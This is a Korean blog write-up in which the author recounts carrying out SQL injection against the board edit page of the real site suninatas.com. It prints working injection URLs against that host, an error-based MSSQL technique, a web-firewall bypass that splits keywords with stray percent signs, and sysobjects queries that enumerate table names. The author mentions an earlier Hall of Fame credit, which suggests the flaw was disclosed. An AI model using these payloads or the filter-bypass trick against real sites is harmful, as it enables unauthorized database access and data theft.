WriteUp

suninatas.com sqli vuln

suninatas.com 사이트가 처음 만들어졌을때 일체의 시큐어코딩이 적용되지 않아서 sqli, 파일다운로드 공격을 성공해서 Hall of fame 에 이름을 올렸었다.

그런데 올해 초에 다시 한번 SQL Injection 을 성공했는데 mssql 환경에서의 공격경험이 재미있었던지라 공격 과정을 포스팅하겠다.

취약점은 QnA 게시판의 글 수정 기능에서 터진다.

글 수정을 눌러보면

http://suninatas.com/board/view.asp?licen=add_del&idx=2592&num=313&divi=Free

이렇게 뜨는데 idx 인자를 조작이 가능하다.

mssql은 서로 다른 타입의 값을 비교해주면 앞의 인자를 에러메세지에서 그대로 출력해주기에 에러기반 sql injection 공격을 하기에 수월하다.

http://suninatas.com/board/view.asp?licen=add_del&idx=1’%20and%20database()=1–​&num=313&divi=Free

이래 공격해주면 database 이름이 suninatas 인 것을 알 수 있다.

그러나 호스팅업체에서 자체적으로 필터링을 걸었는지 주요한 단어들을 입력하면 출력을 하지 않았다.

(운영진이 필터링을 걸었을 경우에는 메세지를 띄우고 로그아웃을 시켜버리기에 운영진이 필터링한게 아니라고 추측할 수 있었다.)

방화벽의 경우에는 받아온 값을 체크하는 경우보다 url을 직접 체크해서 공격을 막는 경우가 많기에 url을 % 로 오염시켜서 방화벽을 우회할 수 있었다.

% 뒤에 16진수 2개가 안올경우에 서버에서는 알아서 % 를 무시하고 값을 받아들이지만 방화벽에서는 % 때문에 주요 단어를 체크하지 못하는 원리이다.

mysql의 information_schema 와 같은 역활을 하는 sysobject 를 통해서 공격을 진행할 수 있다.

http://suninatas.com/board/view.asp?licen=add_del&idx=
1’an%d%20(sele%ct%20top%201%20name%20fr%om%20suninatas..syso%bjects%20WH%ERE%20xtyp%e%20=%20’U’)=1–&num=313&divi=Free

이런 과정을 통해서 테이블명을 알아낼 수 있었으며 mssql 은 limit 문법이 없기에 limit 을 대신하기 위해서는

http://suninatas.com/board/view.asp?licen=add_del&idx=
1’an%d%20(sele%ct%20top%201%20name%20fr%om%20suninatas..syso%bjects%20WH%ERE%20xtyp%e%20=%20’U’%20an%d%20name%20not%20in
(sele%ct%20top%201%20name%20fr%om%20suninatas..syso%bjects%20WH%ERE%20xty%pe%20=%20’U’))=1–&num=313&divi=Free

이렇게 공격해줘야한다.

Leave a Reply

Your email address will not be published. Required fields are marked *